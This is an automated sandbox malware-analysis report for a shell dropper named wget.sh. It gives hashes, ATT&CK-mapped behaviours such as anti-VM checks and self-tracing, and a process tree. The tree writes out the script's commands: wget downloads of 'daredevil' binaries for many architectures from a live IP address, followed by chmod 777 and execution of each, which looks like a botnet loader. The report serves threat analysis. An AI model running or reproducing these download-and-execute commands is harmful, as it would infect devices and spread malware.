c27fd566c8e1b0efa48b3f36ca5546f4bac3182f4c6706c39133aef39670868d

Analysis

max time kernel
6s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/09/2026, 17:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
wget.sh
Size 1KB
Sample260902-wfwlcsvvex
SHA256 c27fd566c8e1b0efa48b3f36ca5546f4bac3182f4c6706c39133aef39670868d
MD5 e4c6eb2faf946617de378f9631be69e9
SHA1 4f1b573253282687e42a67948f5af063cfaa0b95
SHA512 9d799e64c33958ad93164d24c806c3c574ce10d0b15c62b82eb5758026b828c5867215aff2e2442d6f3b636b0a3d104b0408cdc27bb2a332a07d2e7217c55992
TLSH
T17241ABFD70927312DFAA8E06F264A974B117E6D671DF298CFC8D6853DC46890B12FA01
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
724	chmod

Traces itself 3 IoCs

Traces itself to prevent debugging attempts

pid	Process
725	daredevil.armv7l
731	daredevil.armv5l
739	daredevil.armv4l

Checks hardware identifiers (DMI) 1 TTPs 3 IoCs

Checks DMI information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/sys/class/dmi/id/product_name	daredevil.armv7l
File opened for reading	/sys/class/dmi/id/product_name	daredevil.armv5l
File opened for reading	/sys/class/dmi/id/product_name	daredevil.armv4l

Reads runtime system information 7 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/uptime	daredevil.armv5l
File opened for reading	/proc/self/exe	daredevil.armv6l
File opened for reading	/proc/self/exe	daredevil.armv4l
File opened for reading	/proc/uptime	daredevil.armv4l
File opened for reading	/proc/self/exe	daredevil.armv7l
File opened for reading	/proc/uptime	daredevil.armv7l
File opened for reading	/proc/self/exe	daredevil.armv5l

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
728	daredevil.mipsel
748	daredevil.mipsrouter
664	wget
667	wget
719	wget
726	daredevil.mips

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/daredevil.sh4	wget
File opened for modification	/tmp/daredevil.sparc	wget
File opened for modification	/tmp/daredevil.armv7l	wget
File opened for modification	/tmp/daredevil.armv5l	wget
File opened for modification	/tmp/daredevil.armv6l	wget
File opened for modification	/tmp/daredevil.arc	wget
File opened for modification	/tmp/daredevil.i486	wget
File opened for modification	/tmp/daredevil.m68k	wget
File opened for modification	/tmp/daredevil.mips	wget
File opened for modification	/tmp/daredevil.mipsel	wget
File opened for modification	/tmp/daredevil.x86_64	wget
File opened for modification	/tmp/daredevil.armv4l	wget
File opened for modification	/tmp/daredevil.mipsrouter	wget
File opened for modification	/tmp/daredevil.powerpc	wget

/tmp/wget.sh
/tmp/wget.sh
1⤵
PID:637
- /bin/rm
  rm -f "daredevil.*"
  2⤵
  PID:639
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.armv7l
  2⤵
  - Writes file to tmp directory
  PID:641
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:664
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:667
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.armv5l
  2⤵
  - Writes file to tmp directory
  PID:668
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.armv6l
  2⤵
  - Writes file to tmp directory
  PID:669
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.x86_64
  2⤵
  - Writes file to tmp directory
  PID:670
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.armv4l
  2⤵
  - Writes file to tmp directory
  PID:671
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.arc
  2⤵
  - Writes file to tmp directory
  PID:679
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.i486
  2⤵
  - Writes file to tmp directory
  PID:691
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.m68k
  2⤵
  - Writes file to tmp directory
  PID:702
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.mipsrouter
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:719
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.powerpc
  2⤵
  - Writes file to tmp directory
  PID:721
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.sh4
  2⤵
  - Writes file to tmp directory
  PID:722
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.sparc
  2⤵
  - Writes file to tmp directory
  PID:723
- /bin/chmod
  chmod 777 daredevil.arc daredevil.armv4l daredevil.armv5l daredevil.armv6l daredevil.armv7l daredevil.i486 daredevil.m68k daredevil.mips daredevil.mipsel daredevil.mipsrouter daredevil.powerpc daredevil.sh4 daredevil.sparc daredevil.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/daredevil.armv7l
  ./daredevil.armv7l
  2⤵
  - Traces itself
  - Checks hardware identifiers (DMI)
  - Reads runtime system information
  PID:725
- /tmp/daredevil.mips
  ./daredevil.mips
  2⤵
  - System Network Configuration Discovery
  PID:726
- /tmp/daredevil.mipsel
  ./daredevil.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:728
- /tmp/daredevil.armv5l
  ./daredevil.armv5l
  2⤵
  - Traces itself
  - Checks hardware identifiers (DMI)
  - Reads runtime system information
  PID:731
- /tmp/daredevil.armv6l
  ./daredevil.armv6l
  2⤵
  - Reads runtime system information
  PID:733
- /tmp/daredevil.x86_64
  ./daredevil.x86_64
  2⤵
  PID:735
- /tmp/daredevil.armv4l
  ./daredevil.armv4l
  2⤵
  - Traces itself
  - Checks hardware identifiers (DMI)
  - Reads runtime system information
  PID:739
- /tmp/daredevil.arc
  ./daredevil.arc
  2⤵
  PID:741
- /tmp/daredevil.i486
  ./daredevil.i486
  2⤵
  PID:743
- /tmp/daredevil.m68k
  ./daredevil.m68k
  2⤵
  PID:746
- /tmp/daredevil.mipsrouter
  ./daredevil.mipsrouter
  2⤵
  - System Network Configuration Discovery
  PID:748
- /tmp/daredevil.powerpc
  ./daredevil.powerpc
  2⤵
  PID:751
- /tmp/daredevil.sh4
  ./daredevil.sh4
  2⤵
  PID:753
- /tmp/daredevil.sparc
  ./daredevil.sparc
  2⤵
  PID:756

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads